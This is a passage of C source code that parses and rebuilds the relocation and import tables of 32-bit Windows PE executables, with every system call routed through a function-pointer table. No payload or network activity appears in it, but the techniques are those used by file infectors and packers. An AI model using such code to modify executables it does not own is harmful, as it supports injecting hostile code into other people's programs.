    for(; pCurrentResourceDirectoryAbstraction != NULL; pCurrentResourceDirectoryAbstraction=pNextResourceDirectoryAbstraction)
    {
        BOOL bIsDirectory=((pCurrentResourceDirectoryAbstraction->pSubdirectoryAbstraction != NULL) ? TRUE : FALSE);

        if(pCurrentResourceDirectoryAbstraction->pName != NULL)
        {
            pAPITable->GlobalFree(pCurrentResourceDirectoryAbstraction->pName);
        }
        
        if(bIsDirectory)
        {   
            FreeResourceAbstractions32(pAPITable, pCurrentResourceDirectoryAbstraction->pSubdirectoryAbstraction);
        }
        else
        {
            if(pCurrentResourceDirectoryAbstraction->pData != NULL)
            {
                pAPITable->GlobalFree(pCurrentResourceDirectoryAbstraction->pData);
            }
        }
        
        pNextResourceDirectoryAbstraction=pCurrentResourceDirectoryAbstraction->pNextDirectoryAbstraction;
        
        pAPITable->GlobalFree(pCurrentResourceDirectoryAbstraction);
    }
    
    return;
}

VOID
AugmentRelocationAbstractions32
(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PRELOCATION_ABSTRACTION pRelocationAbstractions, DWORD dwAugmentationOffsetStart, DWORD dwAugmentationOffsetEnd, DWORD dwAugmentationSize)
{
    PRELOCATION_ABSTRACTION pCurrentRelocationAbstraction=pRelocationAbstractions;
    PIMAGE_DOS_HEADER pTargetImageDOSHeader=pTargetPE32Pool;
    PIMAGE_FILE_HEADER pTargetImageFileHeader=((PBYTE)pTargetImageDOSHeader + pTargetImageDOSHeader->e_lfanew + 4);
    PIMAGE_OPTIONAL_HEADER pTargetImageOptionalHeader=((PBYTE)pTargetImageFileHeader + sizeof(IMAGE_FILE_HEADER));
    PIMAGE_SECTION_HEADER pTargetImageSectionHeader=((PBYTE)pTargetImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
    DWORD dwTargetPE32LastSectionIndex=(pTargetImageFileHeader->NumberOfSections - 1);
    DWORD dwCodeSectionNameString[2], dwAbsoluteAddressLocationRVA, dwReferencedAddressRVA, dwCodeSectionIndex;
    PX86_INSTRUCTION_ABSTRACTION pAssociatedX86InstructionAbstraction;
    PIMPORTED_FUNCTION_ABSTRACTION pAssociatedImportedFunctionAbstraction;
    
    dwCodeSectionNameString[0]='xet.';
    dwCodeSectionNameString[1]='t';
    
    if((dwCodeSectionIndex=GetSectionIndexByName(pAPITable, pTargetImageSectionHeader, pTargetImageFileHeader->NumberOfSections, &dwCodeSectionNameString)) == -1)
    {
        return FALSE;
    }
    
    while(pCurrentRelocationAbstraction != NULL)
    {
        dwAbsoluteAddressLocationRVA=pCurrentRelocationAbstraction->dwAbsoluteAddressLocationOffset;
        dwReferencedAddressRVA=pCurrentRelocationAbstraction->dwAbsoluteAddressReferenceOffset;
        
        if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_SECTION_END_REFERENCE))
        {
            //printf("[*] Ignoring end of section reference. This will be fixed later.\r\n");
        }
        else
        {
            if(!(pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_LOCATION))
            {
                dwAbsoluteAddressLocationRVA += (pTargetImageSectionHeader + pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex)->VirtualAddress;
            }
            
            if(!(pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_REFERENCE))
            {
                dwReferencedAddressRVA += (pTargetImageSectionHeader + pCurrentRelocationAbstraction->dwAbsoluteAddressReferencedSectionIndex)->VirtualAddress;
            }
            
            if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_IAT32_REFERENCE))
            {
                pAssociatedImportedFunctionAbstraction=pCurrentRelocationAbstraction->pReferencedSymbol;
                dwReferencedAddressRVA=pAssociatedImportedFunctionAbstraction->dwNewIATEntryRVA;
                
                if(dwReferencedAddressRVA == 0)
                {
                    dwReferencedAddressRVA=pAssociatedImportedFunctionAbstraction->dwOriginalIATEntryRVA;
                }
            }
            
            if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION))
            {
                pAssociatedX86InstructionAbstraction=pCurrentRelocationAbstraction->pLocationSymbol;
                
                // The absolute address location will be the virtual code section base, plus the current instruction offset
                
                dwAbsoluteAddressLocationRVA=((pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress + pAssociatedX86InstructionAbstraction->dwInstructionOffset + pAssociatedX86InstructionAbstraction->dwDataOffset);
            }
            else if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_CODE_MEMORY_LOCATION))
            {
                pAssociatedX86InstructionAbstraction=pCurrentRelocationAbstraction->pLocationSymbol;
                
                // The absolute address location will be the virtual code section base, plus the current instruction offset
                
                dwAbsoluteAddressLocationRVA=((pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress + pAssociatedX86InstructionAbstraction->dwInstructionOffset + pAssociatedX86InstructionAbstraction->dwMemoryOffset);
            }
            
            if(dwAbsoluteAddressLocationRVA >= dwAugmentationOffsetStart && dwAbsoluteAddressLocationRVA < dwAugmentationOffsetEnd)
            {
                //printf("[*] Absolute address location fell within data directory range being augmented. Augmenting...\r\n");
            }

            if(dwReferencedAddressRVA >= dwAugmentationOffsetStart && dwReferencedAddressRVA < dwAugmentationOffsetEnd)
            {
                //printf("[*] Absolute address reference fell within data directory range (0x%08x, 0x%08x) being augmented. Augmenting from 0x%08x to ", dwAugmentationOffsetStart, dwAugmentationOffsetEnd, pCurrentRelocationAbstraction->dwAbsoluteAddressReferenceOffset);
                
                pCurrentRelocationAbstraction->dwAbsoluteAddressReferenceOffset += dwAugmentationSize;
                
                //printf("0x%08x\r\n", pCurrentRelocationAbstraction->dwAbsoluteAddressReferenceOffset);
            }
        }
                                         
        pCurrentRelocationAbstraction=pCurrentRelocationAbstraction->pNextRelocationAssociation;
    }
    
    return;
}

BOOL
CreateRelocationSectionFromAbstractions32
(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PRELOCATION_ABSTRACTION pRelocationAbstractions, PBYTE *ppPool, PDWORD pdwPoolSize)
{   
    BOOL bBlockBaseOutOfBounds=FALSE, bCurrentBlockEmpty;
    PBYTE pRelocationPool=NULL;
    PIMAGE_DOS_HEADER pTargetImageDOSHeader=pTargetPE32Pool;
    PIMAGE_FILE_HEADER pTargetImageFileHeader=((PBYTE)pTargetImageDOSHeader + pTargetImageDOSHeader->e_lfanew + 4);
    PIMAGE_OPTIONAL_HEADER pTargetImageOptionalHeader=((PBYTE)pTargetImageFileHeader + sizeof(IMAGE_FILE_HEADER));
    PIMAGE_SECTION_HEADER pTargetImageSectionHeader=((PBYTE)pTargetImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
    DWORD dwRelocationPoolSize, dwTotalNumberOfAbsoluteAddressLocations, dwTargetPE32LastSectionIndex=(pTargetImageFileHeader->NumberOfSections - 1), dwCurrentRelocationBlockBase, dwCalculatedNumberOfAbsoluteAddressLocations=0, dwTotalNumberOfRelocationBlocks=0, dwCalculatedNumberOfEmptyRelocationBlocks=0;
    PRELOCATION_ABSTRACTION pCurrentRelocationAbstraction;
    PIMPORTED_FUNCTION_ABSTRACTION pAssociatedImportedFunctionAbstraction;
    PX86_INSTRUCTION_ABSTRACTION pAssociatedX86InstructionAbstraction;
    DWORD dwCurrentRelocationPoolOffset, dwCurrentNumberOfBlockRelocations, dwAbsoluteAddressLocationRVA, dwReferencedAddressRVA, dwCodeSectionIndex;
    PIMAGE_BASE_RELOCATION pCurrentImageBaseRelocation=pRelocationPool;
    PBYTE pLocationAddressBoundaryBase;
    
    DWORD dwCodeSectionNameString[2];
    
    dwCodeSectionNameString[0]='xet.';
    dwCodeSectionNameString[1]='t';
    
    if((dwCodeSectionIndex=GetSectionIndexByName(pAPITable, pTargetImageSectionHeader, pTargetImageFileHeader->NumberOfSections, &dwCodeSectionNameString)) == -1)
    {
        //printf("[-] Failed to locate a .text section within the target file.\r\n");
        
        return FALSE;
    }
            
    // Calculate the size of the new relocation section
    
    for(dwCurrentRelocationBlockBase=0; !bBlockBaseOutOfBounds; dwCurrentRelocationBlockBase += 0x1000, dwTotalNumberOfRelocationBlocks++)
    {
        pCurrentRelocationAbstraction=pRelocationAbstractions;
        
        bBlockBaseOutOfBounds=TRUE;
        bCurrentBlockEmpty=TRUE;
        
        while(pCurrentRelocationAbstraction != NULL)
        {
            dwAbsoluteAddressLocationRVA=pCurrentRelocationAbstraction->dwAbsoluteAddressLocationOffset;
            
            if(!(pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_LOCATION))
            {
                dwAbsoluteAddressLocationRVA += (pTargetImageSectionHeader + pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex)->VirtualAddress;
            }
            
            if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION))
            {
                pAssociatedX86InstructionAbstraction=pCurrentRelocationAbstraction->pLocationSymbol;
                
                // The absolute address location will be the virtual code section base, plus the current instruction offset
                
                dwAbsoluteAddressLocationRVA=((pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress + pAssociatedX86InstructionAbstraction->dwInstructionOffset + pAssociatedX86InstructionAbstraction->dwDataOffset);
            }
            else if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_CODE_MEMORY_LOCATION))
            {
                pAssociatedX86InstructionAbstraction=pCurrentRelocationAbstraction->pLocationSymbol;
                
                // The absolute address location will be the virtual code section base, plus the current instruction offset
                
                dwAbsoluteAddressLocationRVA=((pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress + pAssociatedX86InstructionAbstraction->dwInstructionOffset + pAssociatedX86InstructionAbstraction->dwMemoryOffset);
            }
            
            if(dwAbsoluteAddressLocationRVA >= dwCurrentRelocationBlockBase && dwAbsoluteAddressLocationRVA < (dwCurrentRelocationBlockBase + 0x1000))
            {
                bCurrentBlockEmpty=FALSE;
                
                dwCalculatedNumberOfAbsoluteAddressLocations++;
            }
            
            if(dwAbsoluteAddressLocationRVA >= dwCurrentRelocationBlockBase)
            {
                bBlockBaseOutOfBounds=FALSE;
            }
            
            pCurrentRelocationAbstraction=pCurrentRelocationAbstraction->pNextRelocationAssociation;
        }
        
        if(bCurrentBlockEmpty)
        {
            dwCalculatedNumberOfEmptyRelocationBlocks++;
        }
    }
    
    dwTotalNumberOfAbsoluteAddressLocations=dwCalculatedNumberOfAbsoluteAddressLocations + (dwTotalNumberOfRelocationBlocks - dwCalculatedNumberOfEmptyRelocationBlocks);
    dwRelocationPoolSize=((dwTotalNumberOfRelocationBlocks - dwCalculatedNumberOfEmptyRelocationBlocks) * sizeof(IMAGE_BASE_RELOCATION)) + ((dwTotalNumberOfAbsoluteAddressLocations) * sizeof(WORD));

    // Generate the new relocation section data
    
    pRelocationPool=pAPITable->GlobalAlloc(GPTR, dwRelocationPoolSize + (sizeof(WORD) * dwTotalNumberOfRelocationBlocks));
    bBlockBaseOutOfBounds=FALSE;
    dwCurrentRelocationPoolOffset=sizeof(IMAGE_BASE_RELOCATION);
    pCurrentImageBaseRelocation=pRelocationPool;
    
    for(dwCurrentRelocationBlockBase=0; !bBlockBaseOutOfBounds; dwCurrentRelocationBlockBase += 0x1000)
    {
        pCurrentRelocationAbstraction=pRelocationAbstractions;
        dwCurrentNumberOfBlockRelocations=0;
        
        bBlockBaseOutOfBounds=TRUE;
        
        while(pCurrentRelocationAbstraction != NULL)
        {
            dwAbsoluteAddressLocationRVA=pCurrentRelocationAbstraction->dwAbsoluteAddressLocationOffset;
            dwReferencedAddressRVA=pCurrentRelocationAbstraction->dwAbsoluteAddressReferenceOffset;
            
            if(!(pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_LOCATION))
            {
                dwAbsoluteAddressLocationRVA += (pTargetImageSectionHeader + pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex)->VirtualAddress;
            }
            
            if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_SECTION_END_REFERENCE))
            {
                dwReferencedAddressRVA=(pTargetImageSectionHeader + pCurrentRelocationAbstraction->dwAbsoluteAddressReferencedSectionIndex)->Misc.VirtualSize;
            }
            
            if(!(pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_REFERENCE))
            {
                dwReferencedAddressRVA += (pTargetImageSectionHeader + pCurrentRelocationAbstraction->dwAbsoluteAddressReferencedSectionIndex)->VirtualAddress;
            }
            
            if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_IAT32_REFERENCE))
            {
                pAssociatedImportedFunctionAbstraction=pCurrentRelocationAbstraction->pReferencedSymbol;
                dwReferencedAddressRVA=pAssociatedImportedFunctionAbstraction->dwNewIATEntryRVA;
                
                if(dwReferencedAddressRVA == 0)
                {
                    dwReferencedAddressRVA=pAssociatedImportedFunctionAbstraction->dwOriginalIATEntryRVA;
                }
            }
    
            if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_CODE_DATA_LOCATION))
            {
                pAssociatedX86InstructionAbstraction=pCurrentRelocationAbstraction->pLocationSymbol;
                
                // The absolute address location will be the virtual code section base, plus the current instruction offset
                
                dwAbsoluteAddressLocationRVA=((pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress + pAssociatedX86InstructionAbstraction->dwInstructionOffset + pAssociatedX86InstructionAbstraction->dwDataOffset);
            }
            else if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_CODE_MEMORY_LOCATION))
            {
                pAssociatedX86InstructionAbstraction=pCurrentRelocationAbstraction->pLocationSymbol;
                
                // The absolute address location will be the virtual code section base, plus the current instruction offset
                
                dwAbsoluteAddressLocationRVA=((pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress + pAssociatedX86InstructionAbstraction->dwInstructionOffset + pAssociatedX86InstructionAbstraction->dwMemoryOffset);
            }
            
            if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_CODE_REFERENCE))
            {
                pAssociatedX86InstructionAbstraction=pCurrentRelocationAbstraction->pReferencedSymbol;
                
                // The absolute address location will be the virtual code section base, plus the current instruction offset
                
                dwReferencedAddressRVA=((pTargetImageSectionHeader + dwCodeSectionIndex)->VirtualAddress + pAssociatedX86InstructionAbstraction->dwInstructionOffset + pAssociatedX86InstructionAbstraction->dwReferencedAddressOffset);
            }
            
            if(dwAbsoluteAddressLocationRVA >= dwCurrentRelocationBlockBase && dwAbsoluteAddressLocationRVA < (dwCurrentRelocationBlockBase + 0x1000))
            {
                //*(PWORD)&pRelocationPool[dwCurrentRelocationPoolOffset] |= (IMAGE_REL_BASED_HIGHLOW << 12);
                
                pLocationAddressBoundaryBase=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader,  pTargetImageFileHeader->NumberOfSections, dwAbsoluteAddressLocationRVA);
                
                if(pLocationAddressBoundaryBase != NULL)
                {
                    *(PWORD)&pRelocationPool[dwCurrentRelocationPoolOffset]=((IMAGE_REL_BASED_HIGHLOW << 12) | (dwAbsoluteAddressLocationRVA - dwCurrentRelocationBlockBase));
                    *(PDWORD)&pLocationAddressBoundaryBase[0]=(dwReferencedAddressRVA + pTargetImageOptionalHeader->ImageBase);
                }
                
                dwCurrentNumberOfBlockRelocations++;
                dwCurrentRelocationPoolOffset += sizeof(WORD);
                
                if((pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_SECTION_END_REFERENCE))
                {
                    //printf("[+] Set absolute address at 0x%08x reference referencing the end of the %s section to the new virtual end of the section.\r\n", dwAbsoluteAddressLocationRVA, (pTargetImageSectionHeader + pCurrentRelocationAbstraction->dwAbsoluteAddressReferencedSectionIndex)->Name);
                }
            }
            
            if(dwAbsoluteAddressLocationRVA >= dwCurrentRelocationBlockBase)
            {
                bBlockBaseOutOfBounds=FALSE;
            }
            
            pCurrentRelocationAbstraction=pCurrentRelocationAbstraction->pNextRelocationAssociation;
        }
        
        if(dwCurrentNumberOfBlockRelocations != 0)
        {   
            if(dwCurrentNumberOfBlockRelocations % 2 != 0)
            {
                dwCurrentNumberOfBlockRelocations++; // Ensure 4-byte alignment of next base relocation block
                
                dwCurrentRelocationPoolOffset += sizeof(WORD);
            }
            
            pCurrentImageBaseRelocation->SizeOfBlock=(sizeof(IMAGE_BASE_RELOCATION) + (dwCurrentNumberOfBlockRelocations * sizeof(WORD)));
            pCurrentImageBaseRelocation->VirtualAddress=dwCurrentRelocationBlockBase;
            
            dwCurrentRelocationPoolOffset += sizeof(IMAGE_BASE_RELOCATION);
            (PBYTE)pCurrentImageBaseRelocation += pCurrentImageBaseRelocation->SizeOfBlock;
        }
    }
    
    dwRelocationPoolSize=dwCurrentRelocationPoolOffset;
    
    *ppPool=pRelocationPool;
    *pdwPoolSize=dwRelocationPoolSize;
    
    return TRUE;
}

PRELOCATION_ABSTRACTION
GetAbstractionsFromRelocations32
(PAPI_TABLE pAPITable, PBYTE pTargetPE32Pool, PBYTE pRelocationPool, DWORD dwRelocationPoolSize, PIMPORT_ABSTRACTION_TABLE pImportAbstractions)
{
    PIMAGE_BASE_RELOCATION pCurrentImageBaseRelocation=(PIMAGE_BASE_RELOCATION)pRelocationPool;
    DWORD dwX, dwY, dwCurrentRelocationPoolOffset, dwTotalRelocationPoolSize=dwRelocationPoolSize;
    PRELOCATION_ABSTRACTION pFirstRelocationAbstraction=NULL, pCurrentRelocationAbstraction=NULL, pPreviousRelocationAbstraction=NULL;
    BOOL bSectionEndReference;
    PIMAGE_DOS_HEADER pTargetImageDOSHeader=pTargetPE32Pool;
    PIMAGE_FILE_HEADER pTargetImageFileHeader=((PBYTE)pTargetImageDOSHeader + pTargetImageDOSHeader->e_lfanew + 4);
    PIMAGE_OPTIONAL_HEADER pTargetImageOptionalHeader=((PBYTE)pTargetImageFileHeader + sizeof(IMAGE_FILE_HEADER));
    PIMAGE_SECTION_HEADER pTargetImageSectionHeader=((PBYTE)pTargetImageOptionalHeader + sizeof(IMAGE_OPTIONAL_HEADER));
    PIMPORTED_MODULE_ABSTRACTION pCurrentImportedModuleAbstraction;
    PIMPORTED_FUNCTION_ABSTRACTION pCurrentImportedFunctionAbstraction;
    DWORD dwCurrentNumberOfBlockRelocations; 
    PWORD pwCurrentRelocationEntry;
    PBYTE pLocationAddressBoundaryBase;
    WORD wCurrentRelocationLocationBaseOffset;
    DWORD dwReferencedAddressRVA, dwAbsoluteAddressLocationRVA;
    PIMAGE_SECTION_HEADER pReferencedImageSectionHeader=NULL, pAbsoluteAddressLocationImageSectionHeader=NULL;
    DWORD dwEnclosingSectionIndex;

    for(dwX=0, dwCurrentRelocationPoolOffset=0; dwCurrentRelocationPoolOffset < dwTotalRelocationPoolSize && pCurrentImageBaseRelocation->SizeOfBlock != 0; dwX++)
    {
        dwCurrentNumberOfBlockRelocations=((pCurrentImageBaseRelocation->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(WORD)); 
        pwCurrentRelocationEntry=(PWORD)((PBYTE)pCurrentImageBaseRelocation + sizeof(IMAGE_BASE_RELOCATION));
        
        for(dwY=0; dwY < dwCurrentNumberOfBlockRelocations; dwY++, pwCurrentRelocationEntry++)
        {
            if(((*pwCurrentRelocationEntry >> 12) & IMAGE_REL_BASED_HIGHLOW)) 
            {
                pLocationAddressBoundaryBase=SolidifyEtherealAddress(pAPITable, pTargetPE32Pool, pTargetImageSectionHeader, pTargetImageFileHeader->NumberOfSections, pCurrentImageBaseRelocation->VirtualAddress);
                wCurrentRelocationLocationBaseOffset=(*pwCurrentRelocationEntry & 0x0FFF);
                dwReferencedAddressRVA=(*(PDWORD)&pLocationAddressBoundaryBase[wCurrentRelocationLocationBaseOffset] - pTargetImageOptionalHeader->ImageBase);
                dwAbsoluteAddressLocationRVA=(pCurrentImageBaseRelocation->VirtualAddress + wCurrentRelocationLocationBaseOffset);
                pReferencedImageSectionHeader=NULL, pAbsoluteAddressLocationImageSectionHeader=NULL;
                
                pCurrentRelocationAbstraction=pAPITable->GlobalAlloc(GPTR, sizeof(RELOCATION_ABSTRACTION));
                
                if(pCurrentRelocationAbstraction == NULL)
                {
                    //printf("OUT OF MEMORY\r\n");
                    
                    //system("pause");
                }
                
                // Determine the location and reference destination of the current absolute address. Classify its symbol correspondence.
                
                dwEnclosingSectionIndex=-1;
                
                if((pAbsoluteAddressLocationImageSectionHeader=GetEnclosingSectionHeader(pTargetImageSectionHeader, pTargetImageFileHeader->NumberOfSections, dwAbsoluteAddressLocationRVA, &dwEnclosingSectionIndex, &bSectionEndReference)) == NULL)
                {
                    if(pTargetImageSectionHeader->VirtualAddress > dwAbsoluteAddressLocationRVA)
                    {
                        pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_LOCATION;
                        
                        pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex=-1;
                    }
                    else
                    {
                        continue;
                    }
                }
                
                dwEnclosingSectionIndex=-1;
                
                if((pReferencedImageSectionHeader=GetEnclosingSectionHeader(pTargetImageSectionHeader, pTargetImageFileHeader->NumberOfSections, dwReferencedAddressRVA, &dwEnclosingSectionIndex, &bSectionEndReference)) == NULL)
                {
                    if(pTargetImageSectionHeader->VirtualAddress > dwReferencedAddressRVA)
                    {
                        pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_REFERENCE;
                        
                        pCurrentRelocationAbstraction->dwAbsoluteAddressReferencedSectionIndex=-1;
                    }
                    else
                    {
                        if(bSectionEndReference)
                        {
                            //printf("[*] Address 0x%08x referenced by absolute address location 0x%08x is referencing the end of the %s section.\r\n", dwReferencedAddressRVA, dwAbsoluteAddressLocationRVA, (pTargetImageSectionHeader + dwEnclosingSectionIndex)->Name);
                            
                            pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_SECTION_END_REFERENCE;
                        }
                        else
                        {
                            continue;
                        }
                    }
                }
                
                if(pFirstRelocationAbstraction == NULL)
                {
                    pFirstRelocationAbstraction=pCurrentRelocationAbstraction;
                }
                else
                {
                    pPreviousRelocationAbstraction->pNextRelocationAssociation=pCurrentRelocationAbstraction;
                }
                
                pPreviousRelocationAbstraction=pCurrentRelocationAbstraction;
                
                pCurrentRelocationAbstraction->dwAbsoluteAddressReferenceOffset=dwReferencedAddressRVA;
                pCurrentRelocationAbstraction->dwAbsoluteAddressLocationOffset=dwAbsoluteAddressLocationRVA;
                
                if(!(pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_LOCATION))
                {
                    pCurrentRelocationAbstraction->dwAbsoluteAddressLocationOffset -= pAbsoluteAddressLocationImageSectionHeader->VirtualAddress;
                    
                    pCurrentRelocationAbstraction->dwAbsoluteAddressLocationSectionIndex=GetSectionIndexByName(pAPITable, pTargetImageSectionHeader, pTargetImageFileHeader->NumberOfSections, pAbsoluteAddressLocationImageSectionHeader->Name);
                }
                
                if(!(pCurrentRelocationAbstraction->dwFlags & RELOCATION_ABSTRACTION_TYPE_PE32_HEADER_REFERENCE))
                {
                    pCurrentRelocationAbstraction->dwAbsoluteAddressReferenceOffset -= (pTargetImageSectionHeader + dwEnclosingSectionIndex)->VirtualAddress;
                    
                    pCurrentRelocationAbstraction->dwAbsoluteAddressReferencedSectionIndex=dwEnclosingSectionIndex;
                }
                
                if(pImportAbstractions != NULL && pCurrentRelocationAbstraction->pReferencedSymbol == NULL)
                {
                    pCurrentImportedModuleAbstraction=pImportAbstractions->pFirstImportedModuleAbstraction;
                    
                    while(pCurrentImportedModuleAbstraction != NULL)
                    {
                        pCurrentImportedFunctionAbstraction=pCurrentImportedModuleAbstraction->pImportedFunctionAbstractionList;
                                                            
                        while(pCurrentImportedFunctionAbstraction != NULL)
                        {
                            if(dwReferencedAddressRVA == pCurrentImportedFunctionAbstraction->dwOriginalIATEntryRVA)
                            {
                                pCurrentRelocationAbstraction->pReferencedSymbol=pCurrentImportedFunctionAbstraction;
                                pCurrentRelocationAbstraction->dwFlags |= RELOCATION_ABSTRACTION_TYPE_IAT32_REFERENCE;
                            }
                            
                            pCurrentImportedFunctionAbstraction=pCurrentImportedFunctionAbstraction->pNextImportedFunctionAbstraction;
                        }
                        
                        pCurrentImportedModuleAbstraction=pCurrentImportedModuleAbstraction->pNextImportedModuleAbstraction;
                    }
                }
            }
        }
        
        dwCurrentRelocationPoolOffset += pCurrentImageBaseRelocation->SizeOfBlock;
        
        (PBYTE)pCurrentImageBaseRelocation += pCurrentImageBaseRelocation->SizeOfBlock;
    }

    return pFirstRelocationAbstraction;
}

VOID
FreeRelocationAbstractions32
(PAPI_TABLE pAPITable, PRELOCATION_ABSTRACTION pRelocationAbstractions)
{
    PRELOCATION_ABSTRACTION pCurrentRelocationAbstraction=pRelocationAbstractions, pNextRelocationAbstraction=NULL;
    
    for(; pCurrentRelocationAbstraction != NULL; pCurrentRelocationAbstraction=pNextRelocationAbstraction)
    {
        pNextRelocationAbstraction=pCurrentRelocationAbstraction->pNextRelocationAssociation;
        
        pAPITable->GlobalFree(pCurrentRelocationAbstraction);
    }
    
    return;
}

VOID
CreateIATSectionFromAbstractions32
(PAPI_TABLE pAPITable, PIMPORT_ABSTRACTION_TABLE pImportAbstractions, PBYTE *ppPool, PDWORD pdwPoolSize, DWORD dwIATRVA, BOOL bSupressIATRegeneration)
{
    DWORD dwModuleNamesOffset, dwIATThunksOffset, dwFunctionNamesOffset, dwINTThunksOffset;
    
    dwModuleNamesOffset=(sizeof(IMAGE_IMPORT_DESCRIPTOR) * (pImportAbstractions->dwTotalNumberOfModules + 1)); // +1 since last import descriptor block in array must be NULLs
    dwIATThunksOffset=(dwModuleNamesOffset + (512 * pImportAbstractions->dwTotalNumberOfModules));
    dwINTThunksOffset=(dwIATThunksOffset + (sizeof(IMAGE_THUNK_DATA) * (pImportAbstractions->dwTotalNumberOfFunctions + pImportAbstractions->dwTotalNumberOfModules))); // +1 for each module since last thunk in array must be NULL, for each array (one per module).
    dwFunctionNamesOffset=(dwINTThunksOffset + (sizeof(IMAGE_THUNK_DATA) * (pImportAbstractions->dwTotalNumberOfFunctions + pImportAbstractions->dwTotalNumberOfModules))); // +1 for each module since last thunk in array must be NULL, for each array (one per module).
    
    /*
    ___________________________
    | Import descriptors      |
    |_________________________|
    | Module names            |
    |_________________________|
    | Thunk chains of IAT/INT |
    |_________________________|
    | Name structures         |
    |_________________________|
    
    */
    
    DWORD dwIATPoolSize=(dwFunctionNamesOffset + ((512 + sizeof(WORD)) * pImportAbstractions->dwTotalNumberOfFunctions));
    PBYTE pIATPool=pAPITable->GlobalAlloc(GPTR, dwIATPoolSize);
    PIMAGE_IMPORT_DESCRIPTOR pCurrentImageImportDescriptor=(PIMAGE_IMPORT_DESCRIPTOR)pIATPool;
    DWORD dwX, dwY, dwCurrentIATThunkOffset, dwCurrentINTThunkOffset, dwCurrentNameOffset;
    PIMPORTED_MODULE_ABSTRACTION pCurrentImportedModuleAbstraction=pImportAbstractions->pFirstImportedModuleAbstraction;
    PIMAGE_THUNK_DATA pCurrentIATImageThunkData, pCurrentINTImageThunkData;
    PIMPORTED_FUNCTION_ABSTRACTION pCurrentImportedFunctionAbstraction;
    
    if(!bSupressIATRegeneration)
    {   
        for(dwX=0, dwCurrentIATThunkOffset=dwIATThunksOffset, dwCurrentINTThunkOffset=dwINTThunksOffset, dwCurrentNameOffset=dwFunctionNamesOffset; pCurrentImportedModuleAbstraction != NULL; dwX++)
        {
            // Fill fields of this import descriptor. Write name into pool and set incomplete RVA
            
            pCurrentImageImportDescriptor->Characteristics=dwCurrentINTThunkOffset;
            pCurrentImageImportDescriptor->ForwarderChain=0;
            pCurrentImageImportDescriptor->TimeDateStamp=0;
            pCurrentImageImportDescriptor->ForwarderChain=0;
            pCurrentImageImportDescriptor->Name=(dwModuleNamesOffset + (512 * dwX));
            pCurrentImageImportDescriptor->FirstThunk=dwCurrentIATThunkOffset;
            
            if(pCurrentImportedModuleAbstraction->pModuleName != NULL)
            {
                pAPITable->lstrcpyA((pIATPool + pCurrentImageImportDescriptor->Name), pCurrentImportedModuleAbstraction->pModuleName);
            }
            else
            {
                break;
            }
            
            pCurrentImportedFunctionAbstraction=pCurrentImportedModuleAbstraction->pImportedFunctionAbstractionList;
            
            pCurrentIATImageThunkData=(PIMAGE_THUNK_DATA)((PBYTE)pIATPool + dwCurrentIATThunkOffset);
            pCurrentINTImageThunkData=(PIMAGE_THUNK_DATA)((PBYTE)pIATPool + dwCurrentINTThunkOffset);
            
            for(dwY=0; pCurrentImportedFunctionAbstraction != NULL; dwY++)
            {   
                if(pCurrentImportedFunctionAbstraction->pFunctionName != NULL)
                {
                    pCurrentIATImageThunkData->u1.AddressOfData=dwCurrentNameOffset;
                    pCurrentINTImageThunkData->u1.AddressOfData=dwCurrentNameOffset;
                
                    pAPITable->lstrcpyA((pIATPool + pCurrentIATImageThunkData->u1.AddressOfData) + sizeof(WORD), pCurrentImportedFunctionAbstraction->pFunctionName);
                
                    PWORD pwHint=(pIATPool + pCurrentIATImageThunkData->u1.AddressOfData);
                    
                    *pwHint=pCurrentImportedFunctionAbstraction->wHint;
                    
                    dwCurrentNameOffset += (512 + sizeof(WORD));
                    dwCurrentIATThunkOffset += sizeof(IMAGE_THUNK_DATA);
                    dwCurrentINTThunkOffset += sizeof(IMAGE_THUNK_DATA);
                    
                    pCurrentIATImageThunkData++;
